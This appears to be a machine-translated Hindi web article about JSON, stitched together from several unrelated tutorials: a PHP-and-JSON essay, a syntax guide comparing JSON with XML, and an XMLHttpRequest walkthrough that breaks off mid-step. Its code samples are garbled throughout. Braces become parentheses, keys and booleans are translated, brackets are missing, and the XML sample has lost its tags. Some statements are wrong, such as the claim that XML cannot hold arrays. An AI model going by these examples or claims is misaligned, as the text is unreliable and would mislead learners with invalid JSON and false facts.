JSON संक्षिप्त नाम डिकोडिंग। JSON के साथ काम करने की मूल बातें। जेएसओएन क्या है?

💖क्या आपको यह पसंद है?लिंक को अपने दोस्तों के साथ साझा करें

वेरिएबल, ऐरे और ऑब्जेक्ट डेटा प्रतिनिधित्व का एक परिचित और सुविधाजनक रूप हैं। ब्राउज़र भाषा जावास्क्रिप्ट में डेटा का वर्णन करना प्रथागत है, जो PHP सर्वर भाषा में आवश्यक नहीं है। JSON प्रारूप आपको उन्हें एक संपूर्ण में सारांशित करने की अनुमति देता है और प्रोग्रामिंग भाषा पर ध्यान केंद्रित नहीं करता है। इस स्थिति में, डेटा जोड़े में बदल जाता है: "नाम = मान"। उनमें से प्रत्येक का मूल्य ऐसे युग्मों का संग्रह भी हो सकता है।

JSON को घुंघराले ब्रेसिज़ के साथ जोड़ने की प्रथा है और बाद वाला काफी उचित है, क्योंकि JSON प्रारूप = जावास्क्रिप्ट ऑब्जेक्ट नोटेशन है। हाल के विशेष रूप से गतिशील वर्षों में बहुत कुछ बदल गया है। जो कुछ किसी विशिष्ट उद्देश्य के लिए बनाया गया था वह अक्सर अप्रत्याशित परिणाम लाता था या नए क्षितिज खोलता था।

डेटा एक्सचेंज: ब्राउज़र - सर्वर

AJAX तकनीक पारंपरिक, नियमित पेज रिफ्रेश बन गई है पूरी तरह सेलोकप्रिय होना बंद हो गया है. एक विज़िटर, एक साइट खोलता है, आंशिक डेटा एक्सचेंजों की एक श्रृंखला शुरू करता है, जब कुछ पृष्ठ केवल उस स्थान पर बदलते हैं जो प्रासंगिक है।

ऐसा माना जाता है कि JSON का उद्भव AJAX के उपयोग से जुड़ा है, लेकिन वास्तव में, साहचर्य और इसके ऑब्जेक्ट नोटेशन (वस्तुओं का वर्णन और उपयोग करने के लिए वाक्यविन्यास की विशेषताएं) के बीच डेटा के आदान-प्रदान की तुलना में JSON से कहीं अधिक संबंधित संबंध हैं। ब्राउज़र और सर्वर.

चूंकि आधुनिक साइटों के पृष्ठों की सामग्री वास्तव में "विशाल" हो गई है, इसलिए डेटा विनिमय के प्रारूप की दक्षता ने विशेष महत्व हासिल कर लिया है। इसका मतलब यह नहीं है कि JSON एक नया डेटा प्रतिनिधित्व बन गया है, लेकिन यह तथ्य कि यह लंबे समय से जावास्क्रिप्ट सिंटैक्स का एक तत्व रहा है, महत्वपूर्ण है।

वेरिएबल्स के नामकरण में सिरिलिक का उपयोग एक बहुत ही अप्रत्याशित घटना (बकवास) है, लेकिन यह क्रोम, फ़ायरफ़ॉक्स और यहां तक ​​कि इंटरनेट एक्सप्लोरर 11 के नवीनतम संस्करणों में भी काम करता है।

सिरिलिक और JSON

बेशक, इस पूरी तरह से अप्रत्याशित घटना का उपयोग करने का कोई मतलब नहीं है, यह याद रखना कि रूसी अक्षरों में लिखे गए चर के मूल्य कितनी आसानी से अस्पष्ट हो जाते हैं: हम नामों के बारे में क्या कह सकते हैं, खासकर बाहरी लोगों के बारे में।

यह संदिग्ध है कि सिरिलिक नामों में पहल को ब्राउज़र के बाहरी वातावरण द्वारा समर्थित किया जाएगा, जिसके साथ इसे लगातार निपटना होगा। लेकिन यह तथ्य इस सरल कारण से ध्यान देने योग्य है कि JSON प्रारूप डेवलपर की इच्छानुसार नाम और मान लिखने की क्षमता है। यह महत्वपूर्ण है, क्योंकि प्रत्येक कार्य में एप्लिकेशन क्षेत्र का वर्णन उसकी आवश्यकता के अनुसार डिबगिंग को सरल बनाता है और त्रुटियों की संख्या को कम करता है।

इससे कोई फर्क नहीं पड़ता कि वास्तव में वाक्यात्मक नवाचार - JSON - का आधार क्या था, यह महत्वपूर्ण है कि इसने पत्राचार सेट करने का कानूनी अधिकार और वास्तविक अवसर दिया: "कोई भी नाम = कोई भी मूल्य।"

हमें जावास्क्रिप्ट भाषा को श्रद्धांजलि अर्पित करनी चाहिए: सिंटैक्स द्वारा जो प्रदान किया जाता है वह डेवलपर को बाध्य नहीं करता है और उस पर कुछ भी नहीं थोपता है। डेवलपर अपने उपयोग के लिए डेटा मॉडल और एल्गोरिदम को बेहतर ढंग से बनाने के लिए भाषा सिंटैक्स का स्वतंत्र रूप से उपयोग करता है।

पीएचपी और JSON

JSON प्रारूप में डेटा स्वीकार करके, सर्वर (विशेष रूप से PHP के माध्यम से) इसे संसाधित करने और परिणाम को समान प्रारूप में ब्राउज़र पर वापस लौटाने की क्षमता प्रदान करता है। PHP स्रोत सरणी:

  • $cJSON = सरणी ("ए"=> "अल्फ़ा", "बी"=> "बीटा", "जी"=> "गामा")।

ब्राउज़र पर डिलीवरी के लिए JSON में कनवर्ट करें:

  • $cJS = json_encode($cJSON).

परिणाम:

  • ("ए":"अल्फा","बी":"बीटा","जी":"गामा")।

फोटो में दिखाए गए घोंसले की अनुमति है।

यहां उत्पन्न सरणी को स्वचालित सूचकांक "0" के साथ "स्वयं में" एक नए तत्व के साथ जोड़ा गया था, और फिर निर्दिष्ट सूचकांक "z" के साथ जोड़ा गया था।

Json_decode() JSON स्ट्रिंग को PHP ऐरे में कनवर्ट करता है। फ़ंक्शंस और विस्फोट() में हेरफेर करके समान परिणाम प्राप्त किए जा सकते हैं। कुछ मामलों में यह विकल्प बेहतर है.

घोंसले का स्तर

तत्वों को ब्राउज़र साइड और सर्वर साइड दोनों पर नेस्ट किया जा सकता है। व्यवहार में, JSON प्रारूप (RFC 4627 मानक विवरण) नेस्टिंग के 4 से अधिक स्तर प्रदान करता है, लेकिन इस सुविधा का दुरुपयोग नहीं किया जाना चाहिए।

उचित पर्याप्तता से आगे कभी नहीं जाना सबसे अच्छा है; यह कोड को पढ़ने योग्य बनाता है, जिससे अन्य डेवलपर्स के लिए डीबग करना और समझना आसान हो जाता है।

JSON को आमतौर पर ऐसे डेटा निर्माण के रूप में जाना जाता है जो XML की तुलना में सरल होते हैं और लोगों और कंप्यूटर दोनों के लिए समझने योग्य होते हैं। यह सच है जब डेटा की मात्रा छोटी है और डेवलपर ने नेस्टिंग का स्तर बुद्धिमानी से चुना है। अन्य सभी मामलों में, कोष्ठक की संख्या गिनना और समझना ब्राउज़र पक्ष और सर्वर पक्ष दोनों पर कठिन है।

JSON फ़ाइलें

व्यवहार में JSON का उपयोग अक्सर मानव-पठनीय छोटी स्ट्रिंग तक सीमित नहीं होता है। कोई भी डेटा निर्माण हमेशा व्यावहारिक होता है। साथ ही, JSON का उपयोग वास्तविक कार्य डेटा (एंटरप्राइज़ स्टाफ) और अस्थायी डेटा (ऑब्जेक्ट कैश) को लागू करने के लिए प्रभावी ढंग से किया जा सकता है।

एंटरप्राइज स्टाफ और JSON प्रारूप: उदाहरण

आमतौर पर एक व्यक्ति के बारे में रिकॉर्ड में अंतिम नाम, पहला नाम, संरक्षक, जन्म का वर्ष, विशेषता, शिक्षा, ... और कुछ अन्य सरल मूल्य होते हैं। यहां तक ​​कि विशेष रूप से मांग वाली कंपनियों में भी, एक व्यक्ति के बारे में रिकॉर्ड एक दर्जन या दो क्षेत्रों से अधिक नहीं होगा। यह बोधगम्य है और इसे डेटाबेस स्ट्रिंग में रखा जा सकता है।

यदि कोई कंपनी कई लोगों को रोजगार देती है, तो यह एक बात है, लेकिन यदि हजारों लोग हैं, तो यह पूरी तरह से अलग है। आप डेटाबेस का उपयोग जारी रख सकते हैं, लेकिन इसे फ़ाइल के रूप में संग्रहीत करना उपयोग के लिए अधिक व्यावहारिक और सुलभ लगता है।

JSON एक सादा पाठ फ़ाइल है. स्टाफिंग टेबल का मामला कहने की जरूरत नहीं है। आप इसे कभी भी पढ़ सकते हैं. किसी भी टेक्स्ट एडिटर में ओपनिंग और एडिटिंग भी उपलब्ध है, जिसमें फ़ाइल की सामग्री में अपनी स्वयं की सेवा जानकारी जोड़ने की आदत नहीं है। सामान्य तौर पर, *.json ब्राउज़र के अंदर और फ़ाइल के अंदर शुद्ध पाठ है - एक स्ट्रिंग।

फोटो उस ऑब्जेक्ट का कैश दिखाता है जो चित्र बनाता है, एक उदाहरण।

यह एक साइट द्वारा उत्पन्न फ़ाइल की सामग्री का एक उदाहरण है जो मग और सिरेमिक पर रंगीन 3डी प्रिंटिंग प्रदान करती है। स्वाभाविक रूप से, ऐसे JSON प्रारूप के होने पर, इसे कैसे खोला जाए यह तय करना वास्तव में समस्याग्रस्त है। हालाँकि, इस और इसी तरह के मामलों में फ़ाइल को पढ़ने में कोई समस्या नहीं है: PHP फ़ाइल को पढ़ता है, इसे पार्स करता है और ब्राउज़र को भेजता है। विज़िटर द्वारा बदला गया डेटा सर्वर पर लौटा दिया जाता है और वापस लिखा जाता है।

इस उपयोग के मामले में, फ़ाइल एक वेरिएबल के रूप में कार्य करती है जो कोड के बाहर संग्रहीत होती है। यदि आवश्यक हो, तो वेरिएबल फ़ाइल से एक मान प्राप्त करता है, और यदि इसे साइट द्वारा प्रदान किए गए संवाद में विज़िटर द्वारा बदल दिया जाता है, तो सभी परिवर्तन वैसे ही रिकॉर्ड किए जाएंगे। फ़ाइल की सामग्री को पढ़ने और जाँचने की कोई आवश्यकता नहीं है।

JSON का उपयोग अक्सर सेवा जानकारी को संग्रहीत करने और उपयोग करने के लिए किया जाता है - यह कोई स्टाफिंग टेबल नहीं है, और न ही डेवलपर और न ही साइट विज़िटर को इसे देखने की आवश्यकता है।

एक्सएमएल और JSON

"हर चीज़ के लिए एक समय होता है" एक शास्त्रीय ज्ञान है जिसे प्रोग्रामिंग के आगमन से पहले भी एक सिद्धांत के रूप में स्वीकार किया जाता है। "कुछ भी नहीं बस प्रकट होता है" - यह भी मनुष्य द्वारा कृत्रिम भाषा में पहला सुगम कार्यक्रम लिखने से पहले हुआ था।

डेटा प्रारूप वास्तविक आवश्यकताओं से उत्पन्न होते हैं और प्राप्त ज्ञान पर आधारित होते हैं। HTML का अपना पथ है, XML का अपना पथ है, और JSON जावास्क्रिप्ट ऑब्जेक्ट लॉजिक है जो अन्य भाषाओं तक विस्तारित है। एक की दूसरे से तुलना करना अच्छी बात नहीं है। हर किसी का अपना।

XML अपने कार्यों को शानदार ढंग से पूरा करता है और स्पष्ट रूप से इतिहास नहीं बनने जा रहा है। और JSON का उपयोग 2006 तक किया गया था, यह सिर्फ इतना है कि प्रत्येक डेवलपर ने अपने डेटा का प्रतिनिधित्व करने के लिए कुछ विकल्प घोषित करना अपना कर्तव्य नहीं समझा;

व्यवहार में ऐसे मामले सामने आए हैं जब प्रोग्राम BASIC में लिखे गए थे जो JSON का उपयोग नहीं करते थे, लेकिन "नाम = मान" जोड़े को पूरी तरह से संग्रहीत करते थे और उन्हें सही समय पर सही एल्गोरिदम के लिए उपलब्ध कराते थे।

विशेष वर्ण ("`", "~", "|", ...) और डेटा प्रारूप

जावास्क्रिप्ट में सहयोगी सरणियों और वस्तुओं के साथ काम करने की आदत JSON के उपयोग को स्वाभाविक और सुविधाजनक बनाती है। यह वास्तव में एक बेहतरीन प्रारूप है, लेकिन स्ट्रिंग और सरणियों में हेरफेर करके अलग करने और जोड़ने की क्षमता की जड़ें बहुत गहरी हैं।

जावास्क्रिप्ट भाषा के जुड़ने/विभाजित कार्य और PHP भाषा के विस्फोट/विस्फोट आपको XML, JSON डेटा प्रारूप और अपने स्वयं के संस्करण दोनों का आसानी से और कुशलता से उपयोग करने की अनुमति देते हैं। उत्तरार्द्ध अक्सर इष्टतम होता है, जबकि पहले दो सामान्य उपयोग विकल्पों के लिए आदर्श होते हैं। यदि जानकारी किसी अन्य डेवलपर, सर्वर, फ़ाइल या डेटाबेस में स्थानांतरित की जा रही है, तो XML और JSON खोजने का कोई बेहतर तरीका नहीं है। हर कोई उनके साथ काम करता है, इसलिए सूचना के प्रसारण/प्राप्ति के लिए टिप्पणियों की आवश्यकता नहीं होती है।

एंड्रॉइड में JSON का उपयोग करना

एंड्रॉइड में JSON प्रारूप में डेटा पढ़ना और लिखना न केवल आदर्श है, बल्कि इस विशेष डेटा प्रारूप के साथ काम करने पर भी कई वस्तुएं केंद्रित हैं।

इस स्थिति में, JSON प्रारूप का उपयोग किया जाता है। यह सच हो सकता है, लेकिन सवाल सामाजिक नेटवर्क की अभूतपूर्वता का नहीं है, बल्कि इस तथ्य का है कि "नाम = मूल्य" प्रारूप में जानकारी प्रस्तुत करना प्रोग्रामिंग और उपयोग दोनों के लिए वास्तव में सुविधाजनक है। सख्त और जटिल "एक्सएमएल" के विपरीत, यह वास्तव में एक मानव-अनुकूल प्रारूप है।

सहयोगी सारणियाँ

ऐसा होता है कि चर का वर्णन किया जाना चाहिए (जावास्क्रिप्ट) या कम से कम प्रारंभिक मान निर्दिष्ट किया जाना चाहिए (PHP)। दोनों ही मामलों में, वेरिएबल अपना प्रकार बहुत आसानी से बदल सकता है। यदि आवश्यक हो तो भाषा यह रूपांतरण स्वचालित रूप से करती है।

लेकिन वेरिएबल को अपना नाम क्यों नहीं बदलना चाहिए, एल्गोरिदम के निष्पादन के दौरान प्रकट होना चाहिए, और जब इसकी आवश्यकता नहीं रह जाती है तो गायब क्यों नहीं होना चाहिए? सहयोगी सरणियाँ इस समस्या को हल करती हैं, लेकिन फिर ऐसे अपेक्षाकृत गतिशील चर का उपयोग करते समय, सरणी नाम और संबंधित वाक्यविन्यास निर्माण उसी स्थान पर आएँगे जहाँ उनका उपयोग किया जाता है।

यह परिस्थिति विशेष रूप से PHP में उच्चारित की जाती है, लेकिन आप इसके साथ, वास्तव में, चर नाम में "$" प्रतीक और ऑब्जेक्ट के अंदर "$this->" संयोजन के साथ रख सकते हैं। एक ही समय में जावास्क्रिप्ट और PHP में प्रोग्रामिंग करते समय, पहले तो आप वास्तव में आश्चर्यचकित हो जाते हैं कि सब कुछ कितना अलग है, लेकिन फिर सब कुछ इतना परिचित और स्वाभाविक हो जाता है...

एसोसिएटिव ऐरे -> JSON

इस उदाहरण में, एक *.docx दस्तावेज़ PHPOffice/PHPWord लाइब्रेरी का उपयोग करके बनाया गया है, और aProperties सरणी में इस दस्तावेज़ के गुण (लेखक, कंपनी, शीर्षक, श्रेणी, निर्माण तिथि...) शामिल हैं।

दूसरी सरणी में पृष्ठ के लिए डेटा है:

  • अभिविन्यास (परिदृश्य या सामान्य);
  • ऊर्ध्वाधर और क्षैतिज आयाम;
  • इंडेंट (हाशिये बाएँ, ऊपर, नीचे, दाएँ);
  • शीर्षलेख और पादलेख।

दस्तावेज़ उस सर्वर पर तैयार किया जाता है जहां PHPOffice/PHPWord लाइब्रेरी स्थापित है। साइट आपको जावास्क्रिप्ट का उपयोग करके इन सरणियों के मूल्यों को प्रबंधित करने की अनुमति देती है। JSON प्रारूप में परिणाम सर्वर पर वापस लौटाया जाता है और PHP एल्गोरिदम में, इसकी संरचनाओं में, यानी सरणियों में उपयोग किया जाता है।

गतिशील चर

JSON प्रारूप गतिशील चर की समस्या का समाधान करता है। यहां आप अनावश्यक वाक्यविन्यास अव्यवस्था के बिना वेरिएबल बना सकते हैं, बदल सकते हैं और हटा सकते हैं। यह अच्छा दिखता है और जावास्क्रिप्ट में उपयोग किया जाता है।

इस उदाहरण में, GetOjInfo() फ़ंक्शन किसी ऑब्जेक्ट से मान नाम और मान पुनर्प्राप्त करता है। प्रारंभ में, ojInfo वेरिएबल को निर्दिष्ट JSON स्ट्रिंग ऑब्जेक्ट में तीन तत्व होते हैं: नाम, आयु और कार्य। थोड़ी देर बाद स्टेटस वैरिएबल जोड़ा जाता है।

पहले डिलीट ऑपरेटर के बाद, ojInfo लाइन आयु तत्व खो देती है, दूसरे डिलीट के बाद यह कार्य तत्व खो देती है। यदि हम मानते हैं कि यह स्ट्रिंग वेरिएबल्स का एक चयन है जिसका एक निश्चित अर्थ है, तो JSON का उपयोग करके आप वास्तव में जावास्क्रिप्ट भाषा का वर्णन और प्रसंस्करण के परिचालन क्षेत्र (वाक्यविन्यास) के बाहर उनमें से किसी भी सेट को बना, बदल और हटा सकते हैं।

JSON प्रारूप इस विकल्प के लिए डिज़ाइन नहीं किया गया था, लेकिन यह संभव, व्यावहारिक और सुविधाजनक है।

JSON (जावास्क्रिप्ट ऑब्जेक्ट नोटेशन) एक डेटा ट्रांसफर प्रारूप है। जैसा कि नाम से पता चलता है, प्रारूप जावास्क्रिप्ट प्रोग्रामिंग भाषा पर आधारित है, लेकिन यह अन्य भाषाओं (पायथन, रूबी, पीएचपी, जावा) में भी उपलब्ध है।

JSON .json एक्सटेंशन का उपयोग करता है। जब अन्य फ़ाइल स्वरूपों (जैसे .html) में उपयोग किया जाता है, तो JSON स्ट्रिंग को एक वेरिएबल को उद्धृत या असाइन किया जाता है। यह प्रारूप वेब सर्वर और क्लाइंट या ब्राउज़र के बीच आसानी से स्थानांतरित हो जाता है।

हल्का और समझने में आसान, JSON XML का एक बढ़िया विकल्प है।

यह ट्यूटोरियल आपको JSON के लाभों, वस्तुओं, सामान्य संरचना और वाक्यविन्यास से परिचित कराएगा।

JSON सिंटैक्स और संरचना

एक JSON ऑब्जेक्ट कुंजी-मूल्य रूप में होता है और आमतौर पर घुंघराले ब्रेसिज़ में लिखा जाता है। JSON के साथ काम करते समय, सभी ऑब्जेक्ट एक .json फ़ाइल में संग्रहीत होते हैं, लेकिन वे प्रोग्राम के संदर्भ में अलग-अलग ऑब्जेक्ट के रूप में भी मौजूद हो सकते हैं।

JSON ऑब्जेक्ट इस तरह दिखता है:

"first_name" : "जॉन",
"अंतिम_नाम" : "स्मिथ",
"स्थान": "लंदन",
"ऑनलाइन" : सत्य,
"अनुयायी" : 987

यह एक बहुत ही सरल उदाहरण है. एक JSON ऑब्जेक्ट में कई पंक्तियाँ हो सकती हैं।

जैसा कि आप देख सकते हैं, एक ऑब्जेक्ट कुंजी-मूल्य जोड़े से बना होता है जो घुंघराले ब्रेसिज़ में संलग्न होते हैं। JSON में अधिकांश डेटा ऑब्जेक्ट के रूप में लिखा जाता है।

कुंजी और मान के बीच एक कोलन रखा जाता है। प्रत्येक जोड़ी के बाद आपको अल्पविराम लगाना होगा। परिणाम है:

"कुंजी": "मूल्य", "कुंजी": "मूल्य", "कुंजी": "मूल्य"

JSON कुंजी बाईं ओर है. कुंजी को दोहरे उद्धरण चिह्नों में रखा जाना चाहिए। किसी भी वैध स्ट्रिंग को कुंजी के रूप में उपयोग किया जा सकता है। एक ऑब्जेक्ट के भीतर, सभी कुंजियाँ अद्वितीय होनी चाहिए। कुंजी में एक स्थान ("प्रथम नाम") हो सकता है, लेकिन प्रोग्रामिंग में ऐसी कुंजी तक पहुंचने में समस्या हो सकती है। इसलिए, स्पेस के बजाय अंडरस्कोर ("first_name") का उपयोग करना बेहतर है।

JSON मान कॉलम के दाईं ओर हैं। किसी भी साधारण डेटा प्रकार को मान के रूप में उपयोग किया जा सकता है:

  • स्ट्रिंग्स
  • नंबर
  • वस्तुओं
  • सरणियों
  • बूलियन डेटा (सही या गलत)

मानों को जटिल डेटा प्रकारों (उदाहरण के लिए, ऑब्जेक्ट या JSON सरणियों) द्वारा भी दर्शाया जा सकता है।

JSON ऊपर सूचीबद्ध प्रत्येक डेटा प्रकार के लिए अलग-अलग सिंटैक्स का समर्थन करता है: यदि मान एक स्ट्रिंग द्वारा दर्शाया गया है, तो इसे उद्धृत किया जाएगा, लेकिन यदि यह एक संख्या है, तो इसे उद्धृत नहीं किया जाएगा।

आमतौर पर, .json फ़ाइलों में डेटा एक कॉलम में लिखा जाता है, लेकिन JSON को एक पंक्ति में भी लिखा जा सकता है:

("प्रथम_नाम": "जॉन", "अंतिम_नाम": "स्मिथ", "ऑनलाइन": सत्य, )

इस प्रकार JSON डेटा आमतौर पर अन्य फ़ाइल प्रकारों में लिखा जाता है।

किसी कॉलम में JSON डेटा लिखकर, आप फ़ाइल की पठनीयता में सुधार करते हैं (विशेषकर यदि फ़ाइल में बहुत अधिक डेटा है)। JSON स्तंभों के बीच रिक्त स्थान को अनदेखा करता है, इसलिए आप उनका उपयोग अपने डेटा को प्रबंधनीय संख्या में स्तंभों में विभाजित करने के लिए कर सकते हैं।

"first_name" : "जॉन",
"अंतिम_नाम" : "स्मिथ",
"ऑनलाइन" : सत्य

ध्यान दें कि JSON ऑब्जेक्ट जावास्क्रिप्ट ऑब्जेक्ट के समान हैं, लेकिन वे समान प्रारूप नहीं हैं। उदाहरण के लिए, आप जावास्क्रिप्ट में फ़ंक्शंस का उपयोग कर सकते हैं, लेकिन JSON में नहीं।

JSON का मुख्य लाभ यह है कि इस प्रारूप में डेटा कई लोकप्रिय प्रोग्रामिंग भाषाओं द्वारा समर्थित है, इसलिए इसे जल्दी से स्थानांतरित किया जा सकता है।

अब आप मूल JSON सिंटैक्स से परिचित हो गए हैं। लेकिन JSON फ़ाइलों में जटिल, पदानुक्रमित संरचनाएँ हो सकती हैं जिनमें नेस्टेड सरणियाँ और ऑब्जेक्ट शामिल होते हैं।

JSON में जटिल प्रकार

JSON नेस्टेड ऑब्जेक्ट और ऐरे को स्टोर कर सकता है, जिसे उन्हें सौंपी गई कुंजी के मान के रूप में पास किया जाएगा।

नेस्टेड वस्तुएं

नीचे आपको एक उदाहरण मिलेगा - user.json फ़ाइल, जिसमें उपयोगकर्ता डेटा है। प्रत्येक उपयोगकर्ता के लिए

("जॉन", "जेसी", "ड्रू", "जेमी") एक नेस्टेड ऑब्जेक्ट को एक मान के रूप में पारित किया जाता है, जिसमें बदले में कुंजी और मान भी शामिल होते हैं।

नोट: पहला नेस्टेड JSON ऑब्जेक्ट लाल रंग में हाइलाइट किया गया है।

"जॉन" :(
"उपयोगकर्ता नाम": "जॉन",
"स्थान": "लंदन",
"ऑनलाइन" : सत्य,
"अनुयायी" : 987

"जेसी" :(
"उपयोगकर्ता नाम": "जेसी",
"स्थान": "वाशिंगटन",
"ऑनलाइन" : गलत,
"अनुयायी" : 432

"खींचा" :(
"उपयोगकर्ता नाम": "ड्रू",
"स्थान": "पेरिस",
"ऑनलाइन" : गलत,
"अनुयायी" : 321

"जेमी" :(
"उपयोगकर्ता नाम": "जेमी",
"स्थान" : "बर्लिन",
"ऑनलाइन" : सत्य,
"अनुयायी" : 654

ध्यान दें कि घुंघराले ब्रेसिज़ का उपयोग नेस्टेड ऑब्जेक्ट और मुख्य ऑब्जेक्ट दोनों में किया जाता है। नेस्टेड ऑब्जेक्ट में अल्पविराम का उपयोग नियमित रूप से उसी तरह किया जाता है।

नेस्टेड सारणियाँ

जावास्क्रिप्ट सरणियों का उपयोग करके डेटा को JSON में नेस्ट किया जा सकता है, जिसे मानों के रूप में पारित किया जाएगा। जावास्क्रिप्ट किसी सरणी के आरंभ और अंत में वर्गाकार कोष्ठक () का उपयोग करता है। सारणी डेटा का एक क्रमबद्ध संग्रह है जिसमें विभिन्न प्रकार के डेटा हो सकते हैं।

एक सारणी का उपयोग बड़ी मात्रा में डेटा को स्थानांतरित करने के लिए किया जाता है जिसे समूहीकृत किया जा सकता है। उदाहरण के लिए, आइए उपयोगकर्ता डेटा रिकॉर्ड करने का प्रयास करें।

{
"first_name" : "जॉन",
"अंतिम_नाम" : "स्मिथ",
"स्थान": "लंदन",
"वेबसाइटें" : [

"विवरण" : "कार्य",
"यूआरएल": "https://www.johnsmithsite.com/"

},
{

"विवरण" : "ट्यूटोरियल",
"यूआरएल": "https://www.johnsmithsite.com/tutorials"

"सामाजिक मीडिया" : [

"विवरण": "ट्विटर",
"लिंक": "https://twitter.com/johnsmith"

"विवरण" : "फ़ेसबुक",
"लिंक": "https://www.facebook.com/johnsmith"

"विवरण" : "जीथूब",
"लिंक": "https://github.com/johnsmith"

कुंजियाँ "वेबसाइट" और "सोशल_मीडिया" को मान के रूप में सारणी सौंपी गई हैं, जिन्हें वर्गाकार कोष्ठक में रखा गया है।

नेस्टेड सरणियों और ऑब्जेक्ट का उपयोग करके, आप एक जटिल डेटा पदानुक्रम बना सकते हैं।

JSON या XML?

XML (एक्स्टेंसिबल मार्कअप लैंग्वेज) आपको डेटा को ऐसे रूप में संग्रहीत करने की अनुमति देता है जो मनुष्यों और मशीनों के लिए समझना आसान है। XML प्रारूप बड़ी संख्या में प्रोग्रामिंग भाषाओं द्वारा समर्थित है।

XML और JSON में बहुत कुछ समानता है. हालाँकि, XML को बहुत अधिक टेक्स्ट की आवश्यकता होती है, जिसका अर्थ है कि ऐसी फ़ाइलें बड़ी होती हैं और पढ़ने और लिखने में अधिक कठिन होती हैं। इसके अलावा, XML को केवल XML दुभाषिया का उपयोग करके संसाधित किया जाता है, जबकि JSON को एक साधारण फ़ंक्शन का उपयोग करके संसाधित किया जा सकता है। JSON के विपरीत, XML ऐरे संग्रहीत नहीं कर सकता।

आइए दो फ़ाइलों की तुलना करें: उनमें समान डेटा है, लेकिन पहला XML प्रारूप में लिखा गया है, और दूसरा JSON में लिखा गया है।

उपयोगकर्ता.xml

जॉन लंदन

जेसी वाशिंगटन

ड्रयू पेरिस

जेमी बर्लिन

उपयोगकर्ता.json
("उपयोगकर्ता": [

("उपयोगकर्ता नाम": "जॉन", "स्थान": "लंदन"),
("उपयोगकर्ता नाम": "जेसी", "स्थान": "वाशिंगटन"),
("उपयोगकर्ता नाम": "ड्रू", "स्थान": "पेरिस"),
("उपयोगकर्ता नाम": "जेमीमैंटिसश्रिम्प", "स्थान": "बर्लिन")

JSON एक बहुत ही कॉम्पैक्ट प्रारूप है और इसमें XML जितने टैग की आवश्यकता नहीं होती है। इसके अतिरिक्त, XML, JSON के विपरीत, सरणियों का समर्थन नहीं करता है।

यदि आप HTML से परिचित हैं, तो आप देखेंगे कि XML प्रारूप इसके (विशेष रूप से टैग) के समान है। उदाहरण के लिए, JSON सरल है, कम टेक्स्ट की आवश्यकता होती है और AJAX अनुप्रयोगों में इसका उपयोग करना आसान है।

निःसंदेह, प्रारूप को आवेदन की आवश्यकताओं के आधार पर चुना जाना चाहिए।

JSON के लिए उपकरण

JSON का उपयोग आमतौर पर जावास्क्रिप्ट में किया जाता है, लेकिन यह प्रारूप अन्य प्रोग्रामिंग भाषाओं में व्यापक रूप से उपयोग किया जाता है।

JSON संगतता और प्रसंस्करण के बारे में अधिक जानकारी प्रोजेक्ट वेबसाइट और jQuery लाइब्रेरी पर पाई जा सकती है।

शुरुआत से JSON लिखना दुर्लभ है। आमतौर पर, डेटा स्रोत से लोड किया जाता है या JSON में परिवर्तित किया जाता है। आप ओपन-सोर्स टूल मिस्टर का उपयोग करके CSV या टैब-डीलिमिटेड डेटा को JSON में परिवर्तित कर सकते हैं। डेटा परिवर्तक. XML को JSON में बदलने के लिए और इसके विपरीत, utilities-online.info का उपयोग करें। स्वचालित उपकरणों के साथ काम करते समय, परिणामों की जांच करना सुनिश्चित करें।

JSONLint सेवा का उपयोग करके JSON फ़ाइलों (परिवर्तित डेटा सहित) का निरीक्षण किया जा सकता है। वेब विकास संदर्भ में JSON का परीक्षण करने के लिए, JSFiddle देखें।

निष्कर्ष

JSON एक सरल और हल्का डेटा प्रारूप है। JSON फ़ाइलों को स्थानांतरित करना, संग्रहीत करना और उपयोग करना आसान है।

आज JSON का उपयोग अक्सर API में किया जाता है।

जावास्क्रिप्ट ऑब्जेक्ट नोटेशन (JSON) जावास्क्रिप्ट ऑब्जेक्ट सिंटैक्स के आधार पर संरचित डेटा का प्रतिनिधित्व करने के लिए एक मानक पाठ प्रारूप है। इसका उपयोग आमतौर पर वेब अनुप्रयोगों में डेटा ट्रांसफर के लिए किया जाता है (उदाहरण के लिए, सर्वर से क्लाइंट को कुछ डेटा भेजना ताकि इसे वेब पेज पर प्रदर्शित किया जा सके या इसके विपरीत)। आप अक्सर इसका सामना करेंगे, इसलिए इस लेख में हम आपको जावास्क्रिप्ट का उपयोग करके JSON के साथ काम करने के लिए आवश्यक सभी चीजें देते हैं, जिसमें JSON को पार्स करना भी शामिल है ताकि आप इसके अंदर डेटा तक पहुंच सकें और JSON बना सकें।

नहीं, वास्तव में, JSON क्या है?

हम इसे अपने पेज में लोड करने जा रहे हैं और इसे प्रस्तुत करने के लिए कुछ साफ-सुथरे DOM हेरफेर का उपयोग करेंगे, जैसे:

JSON प्राप्त हो रहा है

JSON प्राप्त करने के लिए, हम XMLHttpRequest (जिसे अक्सर XHR कहा जाता है) नामक API का उपयोग करेंगे। यह एक बहुत ही उपयोगी जावास्क्रिप्ट ऑब्जेक्ट है जो हमें जावास्क्रिप्ट के माध्यम से सर्वर से संसाधनों को पुनः प्राप्त करने के लिए नेटवर्क अनुरोध करने की अनुमति देता है (उदाहरण के लिए चित्र, पाठ, JSON, यहां तक ​​कि HTML स्निपेट), जिसका अर्थ है कि हम पूरे पृष्ठ को पुनः लोड किए बिना सामग्री के छोटे अनुभागों को अपडेट कर सकते हैं। . इसके परिणामस्वरूप अधिक प्रतिक्रियाशील वेब पेज बन गए हैं और यह रोमांचक लगता है, लेकिन दुर्भाग्य से इसे और अधिक विस्तार से पढ़ाना इस लेख के दायरे से परे है।

  • आइए इस तथ्य से शुरू करें कि हम उस JSON URL को संग्रहीत करने जा रहे हैं जिसे हम एक वेरिएबल में प्राप्त करना चाहते हैं। निम्नलिखित जावास्क्रिप्ट कोड जोड़ें: var requestURL = "https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json";
  • अनुरोध बनाने के लिए, हमें नए कीवर्ड का उपयोग करके XMLHttpRequest कंस्ट्रक्टर से एक नया अनुरोध ऑब्जेक्ट इंस्टेंस बनाना होगा। निम्नलिखित को अपनी अंतिम पंक्ति के रूप में जोड़ें: var request = new XMLHttpRequest();
  • अब हमें का उपयोग करके एक नया अनुरोध खोलना होगा। निम्नलिखित पंक्ति जोड़ें: request.open("GET", requestURL);

    इसमें कम से कम दो पैरामीटर लगते हैं - अन्य पैरामीटर भी उपलब्ध हैं। इस सरल उदाहरण के लिए हमें केवल दो की आवश्यकता है:

